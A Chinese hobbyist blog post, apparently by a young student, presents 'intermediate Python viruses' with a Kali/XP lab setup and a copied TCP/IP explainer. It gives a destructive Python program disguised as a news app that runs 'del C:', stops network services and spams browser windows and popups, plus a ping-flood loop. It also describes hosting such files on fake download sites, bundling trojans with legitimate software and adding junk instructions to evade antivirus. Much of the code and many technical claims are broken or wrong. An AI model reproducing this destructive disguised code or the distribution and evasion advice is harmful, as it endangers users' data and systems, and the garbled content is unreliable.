您的位置:首页 > 编程语言 > Python开发

Python病毒篇:中级篇(超多攻击实例,附csdn感言)

2020-07-29 17:04 155 查看

该文章的目录

  • 初级篇
  • 基础木马
  • TCP/IP协议
  • Python之外,其他语言
  • 攻击网站
  • 番外:关于凡科网
  • 攻击
  • 中级篇
  • 恶意软件的制作
  • 制作“新闻快讯”恶意软件
  • DNS欺骗
  • 实战02:DNS欺骗获取信息
  • 开始演练
  • 高级篇
  • 我们学了什么?
  • 扩展:自己开发网站
  • 结束
  • 引子

    这次要写一个超长的文章,建议还是看一看,补充了挺多东西了。

    事先说明

    不喜勿喷哦!另外有什么问题不要私信我,我没有时间看,在文章下方留言即可,还有,该文章中的所有技术均为本人自己研究所得,不要抄袭哦!请遵守法律

    准备

    如果你是第一次阅读我的文章,那么请做好一下准备:

    VirtualBox

    百度搜索VirtualBox软件,点击下载,根据向导的提示安装即可。

    镜像文件

    百度搜索MSDN,我告诉你,点击操作系统,在右边的复选框中选择适当的版本,这里以Windows7 Enterprise(x86)为例

    然后把这个ed2k地址复制一下,在迅雷中下载下来即可。

    安装虚拟机

    接下来创建一个虚拟机,选择适当的参数,由于这里每个人情况不同,便不再多说了,最后选择镜像文件即可。

    安装Python

    这里笔者不多做阐述。大家根据自己的实际情况下载即可。

    本篇文章特殊准备

    这篇文章需要做更多准备。

    John/Ettercap

    如果你安装了kali,你就不用安装了。他是一个密码破解工具,你需要搭配一个弱密码字典,这是个近乎完美的工具。
    而Ettercap是一个投毒软件。

    凡客基站

    这篇文章由于我们要创建趋于真实的网站,但是如果每个案例都要用大量的代码来编写,太麻烦(不是我不会),所以我们注册一个凡客基站账号,让他来帮我们搭建网站。

    SQLmap

    这是一款sql注入工具,我们需要把他下载下来,之后的Ctf实战也要用到(Ctf什么时候写?答:等实验吧开放了再写)。
    我这里用的是kali linux系统,所以自带SQLmap工具。如果你使用的Windows系统,那么你需要额外安装。

    Kali linux虚拟机

    kali是linux的一种。他被称为黑客最喜欢的操作系统,因为它内置了大量工具集,包括密码破解,抓包,注入,欺骗等工具。他是一个开源的操作系统,并且它可以兼容Python,Java, C++, 等多种语言。在Kali中,你不需要安装Python,它已经安装好了,并且可以在命令行中运行。

    这次,我们要安装一个Kali的虚拟机。我们百度搜索kali,第一个英文官网点进去。
    然后选择ova文件下载下来,最后你可以看到这个文件夹。

    然后再VirtualBox中选择Import(导入),选择这个ova文件,即可。安装后如下:

    配置环境

    将环境配置好,并将所有虚拟机都设在一个虚拟网络下面。

    建立攻击对象:XP虚拟机

    Windows XP是微软的一个杰出的产品,目前有些ATM取款机,学校电脑用的都是XP系统,而且他的上一个产品:Windows95和XP,个人感觉差别很大,再往前的,如Windows ME,Windows 4等,反正我是用不惯。现在我们安装一个XP系统,作为攻击对象。过程和之前差不多,所以我就不多介绍了,完成后如下:

    至此,我们已经有了攻击对象,我们可以向他发起猛烈的攻击,当然,你可以将它放在一个虚拟网络内,这样以便于之后的DNS欺骗,ARP欺骗等。然后打开Kali,看看能不能Ping通。

    初级篇

    Hacker基础

    常见术语

    木马:病毒的一种,通常传播快,而且会自主繁殖,是目前最流行的病毒
    勒索:主要以欺骗钱财为主要目的的病毒
    后门:一个看似好的程序,有可能下一秒就会被黑客利用

    爬虫

    一个优秀的Web黑客,爬虫是必备技能。他们能用爬虫爬取网站上的信息,这在有些时候有利于黑客攻击网站。

    数据库

    数据库是存储信息的一种数据类型。一般大公司的数据库开发团队所在的地方都是不能随便进出的。如果一个网站的数据库被攻破,那么这个网站差不多也就结束了。

    其他

    黑客是什么都要了解一点的。例如GUI等,这些技能有助于他们攻击网站。

    基础木马

    我们再来复习一下基础的木马。

    import webbrowser as web
    import os
    while True:
    web.open("www.baidu.com")
    while True:
    os.system("ping -t -l 50" + IP地址)

    这个木马是最基础的木马,下面我们再来看一下引导木马:

    import tkinter as tk
    import webbrowser
    def open():
    webbrowser.open("要打开的网页")
    gui =tk.Tk()
    gui.title('大奖')
    gui.geometry('500x300')
    b = tk.Button(gui,text = '点击领取大奖一份!',bg='cyan',font = ('幼圆',15),bd = None,width=20,height=10,command = open)
    b.pack()
    gui.mainloop()

    这也是一个基础木马。其实现在看看我们之前的木马,再想想之后我们要学习更多厉害的木马,你会选择哪个?这些木马是一切的基础哦!

    TCP/IP协议

    之前我已经说过了,这里来再次说一下。

    TCP/IP传输协议,即传输控制/网络协议,也叫作网络通讯协议。它是在网络的使用中的最基本的通信协议。TCP/IP传输协议对互联网中各部分进行通信的标准和方法进行了规定。并且,TCP/IP传输协议是保证网络数据信息及时、完整传输的两个重要的协议。TCP/IP传输协议是严格来说是一个四层的体系结构,应用层、传输层、网络层和数据链路层都包含其中。
    TCP/IP协议是Internet最基本的协议,其中应用层的主要协议有Telnet、FTP、SMTP等,是用来接收来自传输层的数据或者按不同应用要求与方式将数据传输至传输层;传输层的主要协议有UDP、TCP,是使用者使用平台和计算机信息网内部数据结合的通道,可以实现数据传输与数据共享;网络层的主要协议有ICMP、IP、IGMP,主要负责网络中数据包的传送等;而网络访问层,也叫网路接口层或数据链路层,主要协议有ARP、RARP,主要功能是提供链路管理错误检测、对不同通信媒介有关信息细节问题进行有效处理等。
    TCP/IP协议能够迅速发展起来并成为事实上的标准,是它恰好适应了世界范围内数据通信的需要。它有以下特点:
    (1)协议标准是完全开放的,可以供用户免费使用,并且独立于特定的计算机硬件与操作系统。
    (2)独立于网络硬件系统,可以运行在广域网,更适合于互联网。 (3)网络地址统一分配,网络中每一设备和终端都具有一个唯一地址。
    (4)高层协议标准化,可以提供多种多样可靠网络服务。 > IP协议
    网络层引入了IP协议,制定了一套新地址,使得我们能够区分两台主机是否同属一个网络,这套地址就是网络地址,也就是所谓的IP地址。IP协议将这个32位的地址分为两部分,前面部分代表网络地址,后面部分表示该主机在局域网中的地址。如果两个IP地址在同一个子网内,则网络地址一定相同。为了判断IP地址中的网络地址,IP协议还引入了子网掩码,IP地址和子网掩码通过按位与运算后就可以得到网络地址。
    ARP协议
    即地址解析协议,是根据IP地址获取MAC地址的一个网络层协议。其工作原理如下:ARP首先会发起一个请求数据包,数据包的首部包含了目标主机的IP地址,然后这个数据包会在链路层进行再次包装,生成以太网数据包,最终由以太网广播给子网内的所有主机,每一台主机都会接收到这个数据包,并取出标头里的IP地址,然后和自己的IP地址进行比较,如果相同就返回自己的MAC地址,如果不同就丢弃该数据包。ARP接收返回消息,以此确定目标机的MAC地址;与此同时,ARP还会将返回的MAC地址与对应的IP地址存入本机ARP缓存中并保留一定时间,下次请求时直接查询ARP缓存以节约资源。
    路由协议
    首先通过IP协议来判断两台主机是否在同一个子网中,如果在同一个子网,就通过ARP协议查询对应的MAC地址,然后以广播的形式向该子网内的主机发送数据包;如果不在同一个子网,以太网会将该数据包转发给本子网的网关进行路由。网关是互联网上子网与子网之间的桥梁,所以网关会进行多次转发,最终将该数据包转发到目标IP所在的子网中,然后再通过ARP获取目标机MAC,最终也是通过广播形式将数据包发送给接收方。而完成这个路由协议的物理设备就是路由器,路由器扮演着交通枢纽的角色,它会根据信道情况,选择并设定路由,以最佳路径来转发数据包。
    所以,网络层的主要工作是定义网络地址、区分网段、子网内MAC寻址、对于不同子网的数据包进行路由。
    传输层
    链路层定义了主机的身份,即MAC地址,而网络层定义了IP地址,明确了主机所在的网段,有了这两个地址,数据包就从可以从一个主机发送到另一台主机。但实际上数据包是从一个主机的某个应用程序发出,然后由对方主机的应用程序接收。而每台电脑都有可能同时运行着很多个应用程序,所以当数据包被发送到主机上以后,是无法确定哪个应用程序要接收这个包。因此传输层引入了UDP协议来解决这个问题,为了给每个应用程序标识身份。
    UDP协议
    UDP协议定义了端口,同一个主机上的每个应用程序都需要指定唯一的端口号,并且规定网络中传输的数据包必须加上端口信息,当数据包到达主机以后,就可以根据端口号找到对应的应用程序了。UDP协议比较简单,实现容易,但它没有确认机制,数据包一旦发出,无法知道对方是否收到,因此可靠性较差,为了解决这个问题,提高网络可靠性,TCP协议就诞生了。
    TCP协议
    TCP即传输控制协议,是一种面向连接的、可靠的、基于字节流的通信协议。简单来说TCP就是有确认机制的UDP协议,每发出一个数据包都要求确认,如果有一个数据包丢失,就收不到确认,发送方就必须重发这个数据包。为了保证传输的可靠性,TCP协议在UDP基础之上建立了三次对话的确认机制,即在正式收发数据前,必须和对方建立可靠的连接。TCP数据包和UDP一样,都是由首部和数据两部分组成,唯一不同的是,TCP数据包没有长度限制,理论上可以无限长,但是为了保证网络的效率,通常TCP数据包的长度不会超过IP数据包的长度,以确保单个TCP数据包不必再分割。
    传输层的主要工作是定义端口,标识应用程序身份,实现端口到端口的通信,TCP协议可以保证数据传输的可靠性。
    应用层
    理论上讲,有了以上三层协议的支持,数据已经可以从一个主机上的应用程序传输到另一台主机的应用程序了,但此时传过来的数据是字节流,不能很好的被程序识别,操作性差,因此,应用层定义了各种各样的协议来规范数据格式,常见的有http,ftp,smtp等,在请求Header中,分别定义了请求数据格式Accept和响应数据格式Content-Type,有了这个规范以后,当对方接收到请求以后就知道该用什么格式来解析,然后对请求进行处理,最后按照请求方要求的格式将数据返回,请求端接收到响应后,就按照规定的格式进行解读。
    所以应用层的主要工作就是定义数据格式并按照对应的格式解读数据。
    ———————————————— 版权声明:本文为CSDN博主「tiantian520_tt」的原创文章,遵循CC 4.0
    BY-SA版权协议,转载请附上原文出处链接及本声明。
    原文链接:https://www.geek-share.com/detail/2789717571.html

    Python之外,其他语言

    PHP


    php是一个后端语言,网页上可以用php。比如我们的测试网站DVWA,就是PHP结合MySQL数据库编写的。如果你要参加CTF,或者去破解一些网站,PHP是你的不二之选。通常再学习一种数据库,例如MySQL,Oracle等,那么开发一个网页对你来说轻而易举了

    C/C++/C#


    这个语言家喻户晓,基本上每个程序员都知道C家族。著名的就是Windows,Win的源代码就是用C/C++/C#来编写的。

    Unity3D + JavaScript/C#/Boo


    这是个很棒的游戏引擎,可以用多种语言编写,用它,编写一个类似 MiniGore的平面射击游戏轻而易举,就连使命召唤等大型3D游戏,如果素材的当也不在话下,著名的软件就是国名手游——王者荣耀。作者现在也在学习Unity,之后会教给大家。

    攻击网站

    实战01:攻击NASA官网

    上次SQL注入没过瘾,这次再来。我们搭建一个攻击网站。

    1.自己建立

    自己建立一个网站,虽然会花费一些功力,但是很有成就感。可以用HTML/XML或者Flask+SQLite3.这里我们不采用这个方法

    2.凡科建站

    先注册个账号,登入:

    然后搭建一个网站,经过几分钟的搭建,我建立了这个网站:

    这个网站还有登入的界面:

    以及注册界面:

    我们注册一个号,叫Root,密码:qwertyuiop(这是个弱密码)

    (这是模拟NASA的官网,这样,如果我们攻破它,会很有成就感,就算失败,也不会太灰心)

    番外:关于凡科网

    这是个非常好的网站,你可以申请一个域名,免费创建一个优秀的网站,除了凡科建站之外,还有很多。例如我在用的凡客修图。几秒钟就可以实现以下图片:

    而且可以免费下载各种格式,不像WPD,还要收费,功能都差不多。
    这是题外话了,不多说了。

    攻击

    SQLmap(SQL注入漏洞扫描)

    我们先用SQLmap工具扫描以下这个网站是否存在SQL注入漏洞。如果存在漏洞,我们就可以查看到后台的数据库和内容。输入代码:

    sqlmap -u 网址
    开始扫描
    然后,我们会发现,没有发现SQL注入漏洞。这可怎么办呢?不用着急,

    John(弱密码破解)

    我们用Kali的自带工具:John。它只需要一个弱密码字典,就可以快速的枚举。我们提前准备了一个字典,开始破解,结果我们发现:

    username:Root
    password:qwertyuiop

    这样,我们破解了Root的账户,我们登入试试看:

    奇怪,为什么我们没有成功登入呢?我反复的看了看,发现破解的没有出错。原来,我密码输错了。(小小的搞笑一下)
    我忘记截屏注册的界面了,我注册的名字是:张三,我们登入看看:

    OK,我们成功破解了这个网站的一个密码。

    中级篇

    攻击Windows XP系统。XP系统的攻击,我们主要侧重恶意软件。

    操作系统

    在此之前,我们先认识一下操作系统。这一定程度上会提高我们的能力。

    Windows

    80%的电脑用户都在使用windows操作系统。因为Windows操作系统,用来办公,打游戏,编程,攻击,建模,3D等各方面都足够了。而且防御力还可以。并且这是第一个图形化操作系统,所以用的人比较多。

    Mac

    苹果的电脑,外形比较美观,而且它的护甲比较高,一般只要你不再浏览器上乱点,不去下载一些恶意软件,基本上不会中毒。缺点是不太好操作,对于一些新手来说比较难上手,而且小毛病多的一批。

    linux

    linux是一个比较好的操作系统。下载无捆绑,而且自带很多东西,不用你额外下载,对于黑客来说,它的攻击力很高。唯一的缺点是,护甲比较低,所以不建议你家用电脑用linux。
    本人有两台电脑,一台Windows10的台式机,一般的家用都可以,还可以编程,研究黑客技术什么的。一台Mac的笔记本,平时出去耍耍帅,然后上面装了一台kali的虚拟机,虚拟机的保护比较高,完美。

    恶意软件的制作

    一个好的恶意软件,要有足够的吸引力,完美的GUI,超强的黑客功底。

    制作“新闻快讯”恶意软件

    代码如下:

    import tkinter as tk
    import subprocess
    import os
    import webbrowser as web
    import tkinter.messagebox  # 弹窗库
    
    #按钮后的木马病毒编写
    def command():
    subprocess.call("del C:", shell=True)#删除C盘
    os.system("net stop service")#关闭网络服务
    while True:
    web.open("www.baidu.com")#无限打开网页
    tkinter.messagebox.showinfo('提示', 'Tkinter弹窗')#无限弹窗病毒
    tkinter.messagebox.showinfo('Windows安全中心', 'Windows遭到恶意木马攻击,正在尝试自救!')
    
    #前端设计
    GUI =tk.Tk()
    GUI.title('新闻资讯')
    GUI.geometry('500x300')
    b = tk.Button(GUI,text = '微软摊上事了!点击查看',bg='cyan',font = ('幼圆',15),width=20,height=20,command=command())
    b.pack()
    GUI.mainloop()

    然后Pyinstaller打包一下即可,将这个软件存一下即可。

    挂马

    我们可以通过网站来传播病毒,现在我们再次建立一个凡客建站(感觉有了这个,网站开发也不是什么难事),这次我们假装这是一个软件下载园,例如“新闻资讯”,然后让用户下载。这时候,我们将这个恶意软件上传上去,即可实现网页挂马。这基本上就是我们遇到的那些恶意网站的做法。

    一般人应该看不出来吧!(不过现在一般都不会下载这些不知名网站,都是官网下载的)

    DNS欺骗

    究竟什么是DNS欺骗?其实就是一个网站,一个用户去访问它,然后一个黑客建立了一个几乎一样的钓鱼网站,然后让用户去输入密码什么的,最后将这个资源拿下。
    正常访问过程:

    当用户电脑访问该购物网站时,会去DNS服务器进行解析;然后找到地址,并返回给用户电脑;最后访问该购物Web服务器,假设是MOTH,它会将购物网站的首页返回给你的浏览器。

    DNS欺骗后的访问过程
    黑客会先截取用户通往网站的请求,找到IP地址之后,然后制作一个钓鱼网站,当下次用户再次去访问时,访问的就是自己的钓鱼网站

    实战02:DNS欺骗获取信息

    环境搭建

    创建3台虚拟机,Windows7(用户机器),Windows Server 2003(网络服务器)以及Kali linux(攻击机)

    然后将他们全部分配到一个虚拟网络中就可以了,保证互相可以ping通即可。

    windows 2003搭建网站

    我们用凡客建站搭建一个原本的网站,例如某个登入网站。只要能保证windows 7虚拟机可以访问这个网页就可以了。页面如下

    开始演练

    现在,win7可以访问win2003的正常网页。可是,黑客kali出现了。kali访问了网站后,用html分析后自己搭建了一个类似的钓鱼网站,然后保存。Ettercap攻击可以帮助我们投毒。但是我估计他详细CSDN会封,也有可能CSDN上有其他帖子和这个一样。所以这里不多解释。

    高级篇

    黑客工具

    我们可以用黑客软件,这些黑客软件可以让我们轻松制作超级木马。不过下载这些软件的时候一定要小心病毒,我上次在虚拟机里面下载里一个灰鸽子木马生成器,结果中毒了。所以大家一定要小心,最好在虚拟机里面实验,然后关闭文件共享。黑客社区是个非常有好的社区,虽然我们可能进不去这个社区,但是我们可以用一些黑客工具。

    大白鲨

    大白鲨木马病毒,只需要联接一台电脑,就可以远程去控制它。例如弹窗,鼠标禁止移动等。大白鲨木马可以直接用工具做。攻击电脑需要用到的木马很多,大白鲨是基础

    灰鸽子

    这个病毒更有名,也是个控制病毒。

    捆绑

    我们可以用工具捆绑软件,通常我们会把正常软件和病毒文件捆绑起来,然后再挂马。用户可以正常使用软件,可是病毒已经进入了电脑。

    实战03:利用黑客工具攻击系统

    本篇的第三个实战是利用黑客工具攻击Windows系统。我们创建攻击机是Windows10,被害机是windows7。

    大白鲨木马

    我们拿到IP之后可以用大白鲨木马工具发一个木马传到目标机器中。但是如果我们无法直接攻击到他们,所以我们再次创建一个凡科建站(实在太好用,根本听不下来!)来做一个网页。

    欺骗与伪装

    如果直接把木马传到用户那里,他会怀疑这个程序,所以我们用一个可用的文件,然后捆绑,最后加花指令,这样既能骗过杀毒软件,又能骗过用户。如果你还要再正式的话,你可以再加一个DNS欺骗模拟正常网站。

    我们学了什么?

    SQLmap注入,Ettercap欺骗,引导木马,破坏木马,攻击网站……
    数不胜数了,我非常高兴,我能在CSDN上发了那么多东西。其实这些只不过是网络安全的冰山一角。认识CSDN有二年了,这几天才注册一个账号开始发博文。从一开始的编程小白,到一个黑客兼程序员,CSDN教会了我很多。可能有人会说,为什么你要免费的说这些东西?去搞个班级多好?还可以挣钱。我想说:现在中国缺少这样的人才,虽说我只是一个小小小小的黑客,我想过放弃,因为没有回报,不过一想到我可能会让一个普通人成为一个黑客,我就浑身充满了力量。其实我只是一个普普通通的初中生,但是我会一直投入到编程和网络安全的。

    扩展:自己开发网站

    凡客建站是一个用于创建网站的工具。你可以自己编写,这都取决于你。另外这篇文章是中级篇,之后的文章会越来越厉害。如果你需要自己的网站,我这里可以给你一个代码。

    import flask
    app = flask(__name__)
    @app.route('/')
    def first():
    return "Hello World"
    if __name__ == "__main__":
    app.run(debug=True)

    这是个最基本的代码,接下来我们来链接一个数据库:

    from flask import Flask
    import sqlite3
    con = sqlite3.connect('db.db')
    cur = con.cursor()
    app = Flask(__name__)
    @app.route('/')
    def first():
    # SQL语句
    if __name__ == "__main__":
    app.run(debug=True)
    cur.close()
    conn.commit()
    conn.close()

    然后你还可以多加一个路由:

    from flask import Flask
    import sqlite3
    con = sqlite3.connect('db.db')
    cur = con.cursor()
    app = Flask(__name__)
    @app.route('/')
    def first():
    # SQL语句
    @app.route('resighed')
    def resigned():
    return "You are visiting resigned!"
    if __name__ == "__main__":
    app.run(debug=True)
    cur.close()
    conn.commit()
    conn.close()

    好了,之后你可以再加一些空间来深化你的网页。如果你要使用H5的话,也可以,这里举个404错误的简单例子:

    <!DOCTYPE html>
    <html lang="en">
    <head>
    <meta charset="UTF-8">
    <title>Title</title>
    </head>
    <body>
    <h1>404 NOT FOUND</h1>
    <p1>please try again</p1>
    </body>
    </html>

    结束

    好了,不多说了,结束吧!好像破了纪录了,1.3W+字了。

    再见!

    部分摘抄地址:
    https://www.geek-share.com/detail/2789717571.html
    https://blog.csdn.net/tiantian520ttjs/article/details/103988639
    https://www.geek-share.com/detail/2789717568.html

    内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
    标签: